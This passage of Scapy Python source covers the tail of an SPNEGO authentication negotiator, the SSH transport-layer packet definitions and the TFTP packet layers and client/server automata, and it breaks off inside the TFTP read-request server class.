GSS_S_COMPLETE: return 0 # accept_completed elif status == GSS_S_CONTINUE_NEEDED: return 1 # accept_incomplete else: return 2 # reject def GuessOtherMechtypes(self, Context: CONTEXT, input_token): """ Guesses the mechtype of the peer when the "raw" fallback is used. """ if isinstance(input_token, NTLM_Header): Context.other_mechtypes = [ SPNEGO_MechType(oid=ASN1_OID("1.3.6.1.4.1.311.2.2.10")) ] elif isinstance(input_token, Kerberos): Context.other_mechtypes = [ SPNEGO_MechType(oid=ASN1_OID("1.2.840.48018.1.2.2")) ] else: Context.other_mechtypes = [] def GSS_Init_sec_context( self, Context: CONTEXT, input_token=None, target_name: Optional[str] = None, req_flags: Optional[GSS_C_FLAGS] = None, chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS, ): if Context is None: # New Context Context = SPNEGOSSP.CONTEXT( list(self.ssps), req_flags=req_flags, ) input_token_inner = None negState = None # Extract values from GSSAPI token, if present if input_token is not None: if isinstance(input_token, GSSAPI_BLOB): input_token = input_token.innerToken if isinstance(input_token, SPNEGO_negToken): input_token = input_token.token if isinstance(input_token, SPNEGO_negTokenInit): # We are handling a NegTokenInit2 request ! # Populate context with values from the server's request Context.other_mechtypes = input_token.mechTypes elif isinstance(input_token, SPNEGO_negTokenResp): # Extract token and state from the client request if input_token.responseToken is not None: input_token_inner = input_token.responseToken.value if input_token.negState is not None: negState = input_token.negState else: # The blob is a raw token. We aren't using SPNEGO here. Context.raw = True input_token_inner = input_token self.GuessOtherMechtypes(Context, input_token) # Perform SSP negotiation if Context.ssp is None: try: Context.negotiate_ssp() except ValueError as ex: # Couldn't find common SSP log_runtime.warning("SPNEGOSSP: %s" % ex) return Context, None, GSS_S_BAD_MECH # Call inner-SSP Context.ssp_context, output_token_inner, status = ( Context.ssp.GSS_Init_sec_context( Context.ssp_context, input_token=input_token_inner, target_name=target_name, req_flags=Context.req_flags, chan_bindings=chan_bindings, ) ) if negState == 2 or status not in [GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED]: # SSP failed. Remove it from the list of SSPs we're currently running Context.ssps.remove(Context.ssp) log_runtime.warning( "SPNEGOSSP: %s failed. Retrying with next in queue." % repr(Context.ssp) ) if Context.ssps: # We have other SSPs remaining. Retry using another one. Context.ssp = None return self.GSS_Init_sec_context( Context, None, # No input for retry. target_name=target_name, req_flags=req_flags, chan_bindings=chan_bindings, ) else: # We don't have anything left return Context, None, status # Raw processing ends here. if Context.raw: return Context, output_token_inner, status # Verify MIC if present. if status == GSS_S_COMPLETE and input_token and input_token.mechListMIC: # NOTE: the mechListMIC that the server sends is computed over the list of # mechanisms that the **client requested**. Context.ssp.VerifyMechListMIC( Context.ssp_context, input_token.mechListMIC.value, mechListMIC(Context.sent_mechtypes), ) Context.verified_mic = True if negState == 0 and status == GSS_S_COMPLETE: # We are done. return Context, None, status elif Context.state == SPNEGOSSP.STATE.FIRST: # First freeze the list of available mechtypes on the first message Context.sent_mechtypes = Context.get_supported_mechtypes() # Now build the token spnego_tok = GSSAPI_BLOB( innerToken=SPNEGO_negToken( token=SPNEGO_negTokenInit(mechTypes=Context.sent_mechtypes) ) ) # Add the output token if provided if output_token_inner is not None: spnego_tok.innerToken.token.mechToken = SPNEGO_Token( value=output_token_inner, ) elif Context.state == SPNEGOSSP.STATE.SUBSEQUENT: # Build subsequent client tokens: without the list of supported mechtypes # NOTE: GSSAPI_BLOB is stripped. spnego_tok = SPNEGO_negToken( token=SPNEGO_negTokenResp( supportedMech=None, negState=None, ) ) # Add the MIC if required and the exchange is finished. if status == GSS_S_COMPLETE and Context.require_mic: spnego_tok.token.mechListMIC = SPNEGO_MechListMIC( value=Context.ssp.GetMechListMIC( Context.ssp_context, mechListMIC(Context.sent_mechtypes), ), ) # If we still haven't verified the MIC, we aren't done. if not Context.verified_mic: status = GSS_S_CONTINUE_NEEDED # Add the output token if provided if output_token_inner: spnego_tok.token.responseToken = SPNEGO_Token( value=output_token_inner, ) # Update the state Context.state = SPNEGOSSP.STATE.SUBSEQUENT return Context, spnego_tok, status def GSS_Accept_sec_context( self, Context: CONTEXT, input_token=None, req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS, chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS, ): if Context is None: # New Context Context = SPNEGOSSP.CONTEXT( list(self.ssps), req_flags=req_flags, ) input_token_inner = None _mechListMIC = None # Extract values from GSSAPI token if isinstance(input_token, GSSAPI_BLOB): input_token = input_token.innerToken if isinstance(input_token, SPNEGO_negToken): input_token = input_token.token if isinstance(input_token, SPNEGO_negTokenInit): # Populate context with values from the client's request if input_token.mechTypes: Context.other_mechtypes = input_token.mechTypes if input_token.mechToken: input_token_inner = input_token.mechToken.value _mechListMIC = input_token.mechListMIC or input_token._mechListMIC elif isinstance(input_token, SPNEGO_negTokenResp): if input_token.responseToken: input_token_inner = input_token.responseToken.value _mechListMIC = input_token.mechListMIC else: # The blob is a raw token. We aren't using SPNEGO here. Context.raw = True input_token_inner = input_token self.GuessOtherMechtypes(Context, input_token) if Context.other_mechtypes is None: # At this point, we should have already gotten the mechtypes from a current # or former request. return Context, None, GSS_S_FAILURE # Perform SSP negotiation if Context.ssp is None: try: Context.negotiate_ssp() except ValueError as ex: # Couldn't find common SSP log_runtime.warning("SPNEGOSSP: %s" % ex) return Context, None, GSS_S_FAILURE output_token_inner = None status = GSS_S_CONTINUE_NEEDED # If we didn't pick the client's first choice, the token we were passed # isn't usable. if not Context.first_choice: # Typically a client opportunistically starts with Kerberos, including # its APREQ, and we want to use NTLM. Here we add one round trip Context.first_choice = True # Do not enter here again. else: # Send it to the negotiated SSP Context.ssp_context, output_token_inner, status = ( Context.ssp.GSS_Accept_sec_context( Context.ssp_context, input_token=input_token_inner, req_flags=Context.req_flags, chan_bindings=chan_bindings, ) ) # Verify MIC if context succeeded if status == GSS_S_COMPLETE and _mechListMIC: # NOTE: the mechListMIC that the client sends is computed over the # **list of mechanisms that it requests**. if Context.ssp.SupportsMechListMIC(): # We need to check we support checking the MIC. The only case where # this is needed is NTLM in guest mode: the client will send a mic # but we don't check it... Context.ssp.VerifyMechListMIC( Context.ssp_context, _mechListMIC.value, mechListMIC(Context.other_mechtypes), ) Context.verified_mic = True Context.require_mic = True # Raw processing ends here. if Context.raw: return Context, output_token_inner, status # 0. Build the template response token spnego_tok = SPNEGO_negToken( token=SPNEGO_negTokenResp( supportedMech=None, ) ) if Context.state == SPNEGOSSP.STATE.FIRST: # Include the supportedMech list if this is the first message we send # or a renegotiation. spnego_tok.token.supportedMech = Context.ssp_mechtype # Add the output token if provided if output_token_inner: spnego_tok.token.responseToken = SPNEGO_Token(value=output_token_inner) # Update the state Context.state = SPNEGOSSP.STATE.SUBSEQUENT # Add the MIC if required and the exchange is finished. if status == GSS_S_COMPLETE and Context.require_mic: spnego_tok.token.mechListMIC = SPNEGO_MechListMIC( value=Context.ssp.GetMechListMIC( Context.ssp_context, mechListMIC(Context.other_mechtypes), ), ) # If we still haven't verified the MIC, we aren't done. if not Context.verified_mic: status = GSS_S_CONTINUE_NEEDED # Set negState spnego_tok.token.negState = self.MapStatusToNegState(status) return Context, spnego_tok, status def GSS_Passive( self, Context: CONTEXT, input_token=None, req_flags=None, ): if Context is None: # New Context Context = SPNEGOSSP.CONTEXT(list(self.ssps)) Context.passive = True input_token_inner = None # Extract values from GSSAPI token if isinstance(input_token, GSSAPI_BLOB): input_token = input_token.innerToken if isinstance(input_token, SPNEGO_negToken): input_token = input_token.token if isinstance(input_token, SPNEGO_negTokenInit): if input_token.mechTypes is not None: Context.other_mechtypes = input_token.mechTypes if input_token.mechToken: input_token_inner = input_token.mechToken.value elif isinstance(input_token, SPNEGO_negTokenResp): if input_token.supportedMech is not None: Context.other_mechtypes = [input_token.supportedMech] if input_token.responseToken: input_token_inner = input_token.responseToken.value else: # Raw. input_token_inner = input_token if Context.other_mechtypes is None: self.GuessOtherMechtypes(Context, input_token) # Uninitialized OR allowed mechtypes have changed if Context.ssp is None or Context.ssp_mechtype not in Context.other_mechtypes: try: Context.negotiate_ssp() except ValueError: # Couldn't find common SSP return Context, GSS_S_FAILURE # Passthrough Context.ssp_context, status = Context.ssp.GSS_Passive( Context.ssp_context, input_token_inner, req_flags=req_flags, ) return Context, status def GSS_Passive_set_Direction(self, Context: CONTEXT, IsAcceptor=False): Context.ssp.GSS_Passive_set_Direction( Context.ssp_context, IsAcceptor=IsAcceptor ) def MaximumSignatureLength(self, Context: CONTEXT): return Context.ssp.MaximumSignatureLength(Context.ssp_context) ================================================ FILE: scapy/layers/ssh.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Secure Shell (SSH) Transport Layer Protocol RFC 4250, 4251, 4252, 4253 and 4254 """ from scapy.config import conf from scapy.compat import plain_str from scapy.fields import ( BitLenField, ByteField, ByteEnumField, IntEnumField, IntField, PacketField, PacketListField, PacketLenField, FieldLenField, FieldListField, StrLenField, StrFixedLenField, StrNullField, YesNoByteField, ) from scapy.packet import Packet, bind_bottom_up, bind_layers from scapy.layers.inet import TCP class StrCRLFField(StrNullField): DELIMITER = b"\r\n" class _SSHHeaderField(FieldListField): def getfield(self, pkt, s): val = [] while s: s, v = self.field.getfield(pkt, s) val.append(v) if v[:4] == b"SSH-": return s, val return s, val # RFC 4251 - SSH Architecture # This RFC defines some types # RFC 4251 - sect 5 class _ComaStrField(StrLenField): islist = 1 def m2i(self, pkt, x): return super(_ComaStrField, self).m2i(pkt, x).split(b",") def i2m(self, pkt, x): return super(_ComaStrField, self).i2m(pkt, b",".join(x)) class SSHString(Packet): fields_desc = [ FieldLenField("length", None, length_of="value", fmt="!I"), StrLenField("value", 0, length_from=lambda pkt: pkt.length), ] def default_payload_class(self, payload): return conf.padding_layer class SSHPacketStringField(PacketField): __slots__ = ["sub_cls"] def __init__(self, name, sub_cls): self.sub_cls = sub_cls super(SSHPacketStringField, self).__init__(name, SSHString(), SSHString) def m2i(self, pkt, x): x = super(SSHPacketStringField, self).m2i(pkt, x) x.value = self.sub_cls(x.value) return x class NameList(Packet): fields_desc = [ FieldLenField("length", None, length_of="names", fmt="!I"), _ComaStrField("names", [], length_from=lambda pkt: pkt.length), ] def default_payload_class(self, payload): return conf.padding_layer class Mpint(Packet): fields_desc = [ FieldLenField("length", None, length_of="value", fmt="!I"), BitLenField("value", 0, length_from=lambda pkt: pkt.length * 8), ] def default_payload_class(self, payload): return conf.padding_layer # RFC4250 - sect 4.1.2 _SSH_message_numbers = { # RFC4253 - SSH-TRANS 1: "SSH_MSG_DISCONNECT", 2: "SSH_MSG_IGNORE", 3: "SSH_MSG_UNIMPLEMENTED", 4: "SSH_MSG_DEBUG", 5: "SSH_MSG_SERVICE_REQUEST", 6: "SSH_MSG_SERVICE_ACCEPT", 7: "SSH_MSG_EXT_INFO", # RFC 8308 8: "SSH_MSG_NEWCOMPRESS", 20: "SSH_MSG_KEXINIT", 21: "SSH_MSG_NEWKEYS", # Errata 152 of RFC4253 30: "SSH_MSG_KEXDH_INIT", 31: "SSH_MSG_KEXDH_REPLY", # RFC4252 - SSH-USERAUTH 50: "SSH_MSG_USERAUTH_REQUEST", 51: "SSH_MSG_USERAUTH_FAILURE", 52: "SSH_MSG_USERAUTH_SUCCESS", 53: "SSH_MSG_USERAUTH_BANNER", # RFC4254 - SSH-CONNECT 80: "SSH_MSG_GLOBAL_REQUEST", 81: "SSH_MSG_REQUEST_SUCCESS", 82: "SSH_MSG_REQUEST_FAILURE", 90: "SSH_MSG_CHANNEL_OPEN", 91: "SSH_MSG_CHANNEL_OPEN_CONFIRMATION", 92: "SSH_MSG_CHANNEL_OPEN_FAILURE", 93: "SSH_MSG_CHANNEL_WINDOW_ADJUST", 94: "SSH_MSG_CHANNEL_DATA", 95: "SSH_MSG_CHANNEL_EXTENDED_DATA", 96: "SSH_MSG_CHANNEL_EOF", 97: "SSH_MSG_CHANNEL_CLOSE", 98: "SSH_MSG_CHANNEL_REQUEST", 99: "SSH_MSG_CHANNEL_SUCCESS", 100: "SSH_MSG_CHANNEL_FAILURE", } # RFC4253 - sect 6 _SSH_messages = {} def _SSHPayload(x, **kwargs): return _SSH_messages.get(x and x[0], conf.raw_layer)(x) class SSH(Packet): name = "SSH - Binary Packet" fields_desc = [ IntField("packet_length", None), ByteField("padding_length", None), PacketLenField( "pay", None, _SSHPayload, length_from=lambda pkt: pkt.packet_length - pkt.padding_length - 1, ), StrLenField("random_padding", b"", length_from=lambda pkt: pkt.padding_length), # StrField("mac", b""), ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 4 and _pkt[:4] == b"SSH-": return SSHVersionExchange return cls def mysummary(self): if self.pay: if isinstance(self.pay, conf.raw_layer): return "SSH type " + str(self.pay.load[0]), [TCP, SSH] return "SSH " + self.pay.sprintf("%type%"), [TCP, SSH] return "SSH", [TCP, SSH] # RFC4253 - sect 4.2 class SSHVersionExchange(Packet): name = "SSH - Protocol Version Exchange" fields_desc = [ _SSHHeaderField( "lines", [], StrCRLFField("", b""), ) ] def mysummary(self): return "SSH - Version Exchange %s" % plain_str(self.lines[-1]), [TCP] # RFC4253 - sect 6.6 _SSH_certificates = {} _SSH_publickeys = {} _SSH_signatures = {} class _SSHCertificate(PacketField): def m2i(self, pkt, x): return _SSH_certificates.get(pkt.format_identifier.value, self.cls)(x) class _SSHPublicKey(PacketField): def m2i(self, pkt, x): return _SSH_publickeys.get(pkt.format_identifier.value, self.cls)(x) class _SSHSignature(PacketField): def m2i(self, pkt, x): return _SSH_signatures.get(pkt.format_identifier.value, self.cls)(x) class SSHCertificate(Packet): fields_desc = [ PacketField("format_identifier", SSHString(), SSHString), _SSHCertificate("data", None, conf.raw_layer), ] def default_payload_class(self, payload): return conf.padding_layer class SSHPublicKey(Packet): fields_desc = [ PacketField("format_identifier", SSHString(), SSHString), _SSHPublicKey("data", None, conf.raw_layer), ] def default_payload_class(self, payload): return conf.padding_layer class SSHSignature(Packet): fields_desc = [ PacketField("format_identifier", SSHString(), SSHString), _SSHSignature("data", None, conf.raw_layer), ] def default_payload_class(self, payload): return conf.padding_layer # RFC4253 - sect 7.1 class SSHKexInit(Packet): fields_desc = [ ByteEnumField("type", 20, _SSH_message_numbers), StrFixedLenField("cookie", b"", length=16), PacketField("kex_algorithms", NameList(), NameList), PacketField("server_host_key_algorithms", NameList(), NameList), PacketField("encryption_algorithms_client_to_server", NameList(), NameList), PacketField("encryption_algorithms_server_to_client", NameList(), NameList), PacketField("mac_algorithms_client_to_server", NameList(), NameList), PacketField("mac_algorithms_server_to_client", NameList(), NameList), PacketField("compression_algorithms_client_to_server", NameList(), NameList), PacketField("compression_algorithms_server_to_client", NameList(), NameList), PacketField("languages_client_to_server", NameList(), NameList), PacketField("languages_server_to_client", NameList(), NameList), YesNoByteField("first_kex_packet_follows", 0), IntField("reserved", 0), ] _SSH_messages[20] = SSHKexInit # RFC4253 - sect 7.3 class SSHNewKeys(Packet): fields_desc = [ ByteEnumField("type", 21, _SSH_message_numbers), ] _SSH_messages[21] = SSHNewKeys # RFC4253 - sect 8 class SSHKexDHInit(Packet): fields_desc = [ ByteEnumField("type", 30, _SSH_message_numbers), PacketField("e", Mpint(), Mpint), ] _SSH_messages[30] = SSHKexDHInit class SSHKexDHReply(Packet): fields_desc = [ ByteEnumField("type", 31, _SSH_message_numbers), SSHPacketStringField("K_S", SSHPublicKey), PacketField("f", Mpint(), Mpint), SSHPacketStringField("H_hash", SSHSignature), ] _SSH_messages[31] = SSHKexDHReply # RFC4253 - sect 10 class SSHServiceRequest(Packet): fields_desc = [ ByteEnumField("type", 5, _SSH_message_numbers), PacketField("service_name", SSHString(), SSHString), ] _SSH_messages[5] = SSHServiceRequest class SSHServiceAccept(Packet): fields_desc = [ ByteEnumField("type", 6, _SSH_message_numbers), PacketField("service_name", SSHString(), SSHString), ] _SSH_messages[6] = SSHServiceAccept # RFC4253 - sect 11.1 class SSHDisconnect(Packet): fields_desc = [ ByteEnumField("type", 1, _SSH_message_numbers), IntEnumField( "reason_code", 0, { 1: "SSH_DISCONNECT_HOST_NOT_ALLOWED_TO_CONNECT", 2: "SSH_DISCONNECT_PROTOCOL_ERROR", 3: "SSH_DISCONNECT_KEY_EXCHANGE_FAILED", 4: "SSH_DISCONNECT_RESERVED", 5: "SSH_DISCONNECT_MAC_ERROR", 6: "SSH_DISCONNECT_COMPRESSION_ERROR", 7: "SSH_DISCONNECT_SERVICE_NOT_AVAILABLE", 8: "SSH_DISCONNECT_PROTOCOL_VERSION_NOT_SUPPORTED", 9: "SSH_DISCONNECT_HOST_KEY_NOT_VERIFIABLE", 10: "SSH_DISCONNECT_CONNECTION_LOST", 11: "SSH_DISCONNECT_BY_APPLICATION", 12: "SSH_DISCONNECT_TOO_MANY_CONNECTIONS", 13: "SSH_DISCONNECT_AUTH_CANCELLED_BY_USER", 14: "SSH_DISCONNECT_NO_MORE_AUTH_METHODS_AVAILABLE", 15: "SSH_DISCONNECT_ILLEGAL_USER_NAME", }, ), PacketField("description", SSHString(), SSHString), PacketField("language_tag", SSHString(), SSHString), ] _SSH_messages[1] = SSHDisconnect # RFC4253 - sect 11.2 class SSHIgnore(Packet): fields_desc = [ ByteEnumField("type", 2, _SSH_message_numbers), PacketField("data", SSHString(), SSHString), ] _SSH_messages[2] = SSHIgnore # RFC4253 - sect 11.3 class SSHServiceDebug(Packet): fields_desc = [ ByteEnumField("type", 4, _SSH_message_numbers), YesNoByteField("always_display", 0), PacketField("message", SSHString(), SSHString), PacketField("language_tag", SSHString(), SSHString), ] _SSH_messages[4] = SSHServiceDebug # RFC4253 - sect 11.4 class SSHUnimplemented(Packet): fields_desc = [ ByteEnumField("type", 3, _SSH_message_numbers), IntField("seq_num", 0), ] _SSH_messages[3] = SSHUnimplemented # RFC8308 - sect 2.3 class SSHExtension(Packet): fields_desc = [ PacketField("extension_name", SSHString(), SSHString), PacketField("extension_value", SSHString(), SSHString), ] def default_payload_class(self, payload): return conf.padding_layer class SSHExtInfo(Packet): fields_desc = [ ByteEnumField("type", 7, _SSH_message_numbers), FieldLenField("nr_extensions", None, length_of="extensions"), PacketListField("extensions", [], SSHExtension), ] _SSH_messages[7] = SSHExtInfo # RFC8308 - sect 3.2 class SSHNewCompress(Packet): fields_desc = [ ByteEnumField("type", 3, _SSH_message_numbers), ] _SSH_messages[8] = SSHNewCompress # RFC8709 class SSHPublicKeyEd25519(Packet): fields_desc = [ PacketField("key", SSHString(), SSHString), ] def default_payload_class(self, payload): return conf.padding_layer _SSH_publickeys[b"ssh-ed25519"] = SSHPublicKeyEd25519 class SSHPublicKeyEd448(Packet): fields_desc = [ PacketField("key", SSHString(), SSHString), ] def default_payload_class(self, payload): return conf.padding_layer _SSH_publickeys[b"ssh-ed448"] = SSHPublicKeyEd448 class SSHSignatureEd25519(Packet): fields_desc = [ PacketField("key", SSHString(), SSHString), ] def default_payload_class(self, payload): return conf.padding_layer _SSH_signatures[b"ssh-ed25519"] = SSHSignatureEd25519 class SSHSignatureEd448(Packet): fields_desc = [ PacketField("key", SSHString(), SSHString), ] def default_payload_class(self, payload): return conf.padding_layer _SSH_signatures[b"ssh-ed448"] = SSHSignatureEd448 bind_layers(SSH, SSH) bind_bottom_up(TCP, SSH, sport=22) bind_layers(TCP, SSH, dport=22) ================================================ FILE: scapy/layers/tftp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ TFTP (Trivial File Transfer Protocol). This provides TFTP implementation and 4 small automata: - TFTP_read: read a remote file - TFTP_RRQ_server: server that answers to read requests - TFTP_write: write a remote file - TFTP_WRQ_server: server than accepts write requests """ import os import random from scapy.packet import Packet, bind_layers, split_bottom_up, bind_bottom_up from scapy.fields import ( PacketListField, ShortEnumField, ShortField, StrNullField, ) from scapy.automaton import ATMT, Automaton from scapy.base_classes import Net from scapy.config import conf from scapy.sessions import IPSession from scapy.volatile import RandShort from scapy.layers.inet import UDP, IP TFTP_operations = {1: "RRQ", 2: "WRQ", 3: "DATA", 4: "ACK", 5: "ERROR", 6: "OACK"} # noqa: E501 class TFTP(Packet): name = "TFTP opcode" fields_desc = [ShortEnumField("op", 1, TFTP_operations), ] class TFTP_RRQ(Packet): name = "TFTP Read Request" fields_desc = [StrNullField("filename", ""), StrNullField("mode", "octet")] def answers(self, other): return 0 def mysummary(self): return self.sprintf("RRQ %filename%"), [UDP] class TFTP_WRQ(Packet): name = "TFTP Write Request" fields_desc = [StrNullField("filename", ""), StrNullField("mode", "octet")] def answers(self, other): return 0 def mysummary(self): return self.sprintf("WRQ %filename%"), [UDP] class TFTP_DATA(Packet): name = "TFTP Data" fields_desc = [ShortField("block", 0)] def answers(self, other): return self.block == 1 and isinstance(other, TFTP_RRQ) def mysummary(self): return self.sprintf("DATA %block%"), [UDP] class TFTP_Option(Packet): fields_desc = [StrNullField("oname", ""), StrNullField("value", "")] def extract_padding(self, pkt): return "", pkt class TFTP_Options(Packet): fields_desc = [PacketListField("options", [], TFTP_Option, length_from=lambda x:None)] # noqa: E501 class TFTP_ACK(Packet): name = "TFTP Ack" fields_desc = [ShortField("block", 0)] def answers(self, other): if isinstance(other, TFTP_DATA): return self.block == other.block elif isinstance(other, (TFTP_RRQ, TFTP_WRQ, TFTP_OACK)): # noqa: E501 return self.block == 0 return 0 def mysummary(self): return self.sprintf("ACK %block%"), [UDP] TFTP_Error_Codes = {0: "Not defined", 1: "File not found", 2: "Access violation", 3: "Disk full or allocation exceeded", 4: "Illegal TFTP operation", 5: "Unknown transfer ID", 6: "File already exists", 7: "No such user", 8: "Terminate transfer due to option negotiation", } class TFTP_ERROR(Packet): name = "TFTP Error" fields_desc = [ShortEnumField("errorcode", 0, TFTP_Error_Codes), StrNullField("errormsg", "")] def answers(self, other): return isinstance(other, (TFTP_DATA, TFTP_RRQ, TFTP_WRQ, TFTP_ACK)) def mysummary(self): return self.sprintf("ERROR %errorcode%: %errormsg%"), [UDP] class TFTP_OACK(Packet): name = "TFTP Option Ack" fields_desc = [] def answers(self, other): return isinstance(other, (TFTP_WRQ, TFTP_RRQ)) bind_layers(UDP, TFTP, dport=69) bind_layers(TFTP, TFTP_RRQ, op=1) bind_layers(TFTP, TFTP_WRQ, op=2) bind_layers(TFTP, TFTP_DATA, op=3) bind_layers(TFTP, TFTP_ACK, op=4) bind_layers(TFTP, TFTP_ERROR, op=5) bind_layers(TFTP, TFTP_OACK, op=6) bind_layers(TFTP_RRQ, TFTP_Options) bind_layers(TFTP_WRQ, TFTP_Options) bind_layers(TFTP_OACK, TFTP_Options) # Automatons class TFTP_read(Automaton): """ TFTP automaton to read a remote file on a TFTP server. :param filename: the name of the remote file to read. :param server: the host on which to read (IP or name). :param sport: (optional) the source port to use. (default: random) :param port: (optional) the TFTP port (default: 69) """ def parse_args(self, filename, server, sport=None, port=69, **kargs): if "iface" not in kargs: server = str(Net(server)) kargs["iface"] = conf.route.route(server)[0] Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport def master_filter(self, pkt): return (IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid)) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.blocksize = 512 self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.res = b"" self.l3 = IP(dst=self.server) / UDP(sport=self.my_tid, dport=self.port) / TFTP() # noqa: E501 self.last_packet = self.l3 / TFTP_RRQ(filename=self.filename, mode="octet") # noqa: E501 self.send(self.last_packet) self.awaiting = 1 raise self.WAITING() # WAITING @ATMT.state() def WAITING(self): pass @ATMT.receive_condition(WAITING) def receive_data(self, pkt): if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.RECEIVING(pkt) @ATMT.receive_condition(WAITING, prio=1) def receive_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING, 3) def timeout_waiting(self): raise self.WAITING() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) @ATMT.action(receive_data) # @ATMT.action(receive_error) def send_ack(self): self.last_packet = self.l3 / TFTP_ACK(block=self.awaiting) self.send(self.last_packet) # RECEIVED @ATMT.state() def RECEIVING(self, pkt): if conf.raw_layer in pkt: recvd = pkt[conf.raw_layer].load else: recvd = b"" self.res += recvd self.awaiting += 1 if len(recvd) == self.blocksize: raise self.WAITING() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self, pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() # END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.res class TFTP_write(Automaton): """ TFTP automaton to write a local file onto a TFTP server. :param filename: the name of the remote file to write. :param data: the bytes data to write. :param server: the host on which to read (IP or name). :param sport: (optional) the source port to use. (default: random) :param port: (optional) the TFTP port (default: 69) """ def parse_args(self, filename, data, server, sport=None, port=69, **kargs): if "iface" not in kargs: server = str(Net(server)) kargs["iface"] = conf.route.route(server)[0] Automaton.parse_args(self, **kargs) self.filename = filename self.server = server self.port = port self.sport = sport self.blocksize = 512 self.origdata = data def master_filter(self, pkt): return (IP in pkt and pkt[IP].src == self.server and UDP in pkt and pkt[UDP].dport == self.my_tid and (self.server_tid is None or pkt[UDP].sport == self.server_tid)) # BEGIN @ATMT.state(initial=1) def BEGIN(self): self.data = [self.origdata[i * self.blocksize:(i + 1) * self.blocksize] for i in range(len(self.origdata) // self.blocksize + 1)] self.my_tid = self.sport or RandShort()._fix() bind_bottom_up(UDP, TFTP, dport=self.my_tid) self.server_tid = None self.l3 = IP(dst=self.server) / UDP(sport=self.my_tid, dport=self.port) / TFTP() # noqa: E501 self.last_packet = self.l3 / TFTP_WRQ(filename=self.filename, mode="octet") # noqa: E501 self.send(self.last_packet) self.res = "" self.awaiting = 0 raise self.WAITING_ACK() # WAITING_ACK @ATMT.state() def WAITING_ACK(self): pass @ATMT.receive_condition(WAITING_ACK) def received_ack(self, pkt): if TFTP_ACK in pkt and pkt[TFTP_ACK].block == self.awaiting: if self.server_tid is None: self.server_tid = pkt[UDP].sport self.l3[UDP].dport = self.server_tid raise self.SEND_DATA() @ATMT.receive_condition(WAITING_ACK) def received_error(self, pkt): if TFTP_ERROR in pkt: raise self.ERROR(pkt) @ATMT.timeout(WAITING_ACK, 3) def timeout_waiting(self): raise self.WAITING_ACK() @ATMT.action(timeout_waiting) def retransmit_last_packet(self): self.send(self.last_packet) # SEND_DATA @ATMT.state() def SEND_DATA(self): self.awaiting += 1 self.last_packet = self.l3 / TFTP_DATA(block=self.awaiting) / self.data.pop(0) # noqa: E501 self.send(self.last_packet) if self.data: raise self.WAITING_ACK() raise self.END() # ERROR @ATMT.state(error=1) def ERROR(self, pkt): split_bottom_up(UDP, TFTP, dport=self.my_tid) return pkt[TFTP_ERROR].summary() # END @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) class TFTP_WRQ_server(Automaton): """ TFTP automaton to wait for incoming files :param ip: (optional) the local IP to listen on. :param sport: (optional) the local port (by default: random) """ def parse_args(self, ip=None, sport=None, *args, **kargs): if "iface" not in kargs and ip: ip = str(Net(ip)) kargs["iface"] = conf.route.route(ip)[0] kargs.setdefault("session", IPSession()) Automaton.parse_args(self, *args, **kargs) self.ip = ip self.sport = sport def master_filter(self, pkt): return TFTP in pkt and (not self.ip or pkt[IP].dst == self.ip) @ATMT.state(initial=1) def BEGIN(self): self.blksize = 512 self.blk = 1 self.filedata = b"" self.my_tid = self.sport or random.randint(10000, 65500) bind_bottom_up(UDP, TFTP, dport=self.my_tid) @ATMT.receive_condition(BEGIN) def receive_WRQ(self, pkt): if TFTP_WRQ in pkt: raise self.WAIT_DATA().action_parameters(pkt) @ATMT.action(receive_WRQ) def ack_WRQ(self, pkt): ip = pkt[IP] self.ip = ip.dst self.dst = ip.src self.filename = pkt[TFTP_WRQ].filename options = pkt.getlayer(TFTP_Options) self.l3 = IP(src=ip.dst, dst=ip.src) / UDP(sport=self.my_tid, dport=pkt.sport) / TFTP() # noqa: E501 if options is None: self.last_packet = self.l3 / TFTP_ACK(block=0) self.send(self.last_packet) else: opt = [x for x in options.options if x.oname.upper() == b"BLKSIZE"] if opt: self.blksize = int(opt[0].value) self.debug(2, "Negotiated new blksize at %i" % self.blksize) self.last_packet = self.l3 / TFTP_OACK() / TFTP_Options(options=opt) # noqa: E501 self.send(self.last_packet) @ATMT.state() def WAIT_DATA(self): pass @ATMT.timeout(WAIT_DATA, 1) def resend_ack(self): self.send(self.last_packet) raise self.WAIT_DATA() @ATMT.receive_condition(WAIT_DATA) def receive_data(self, pkt): if TFTP_DATA in pkt: data = pkt[TFTP_DATA] if data.block == self.blk: raise self.DATA(data) @ATMT.action(receive_data) def ack_data(self): self.last_packet = self.l3 / TFTP_ACK(block=self.blk % 65536) self.send(self.last_packet) @ATMT.state() def DATA(self, data): self.filedata += data.load if len(data.load) < self.blksize: raise self.END() self.blk += 1 raise self.WAIT_DATA() @ATMT.state(final=1) def END(self): split_bottom_up(UDP, TFTP, dport=self.my_tid) return self.filename, self.filedata class TFTP_RRQ_server(Automaton): """ TFTP automaton to serve local files You can't use 'store' and 'dir' at the same time. :param store: (optional) a dictionary that contains the file data, like {"thefile": b"data"}. :param dir: (optional) a folder that 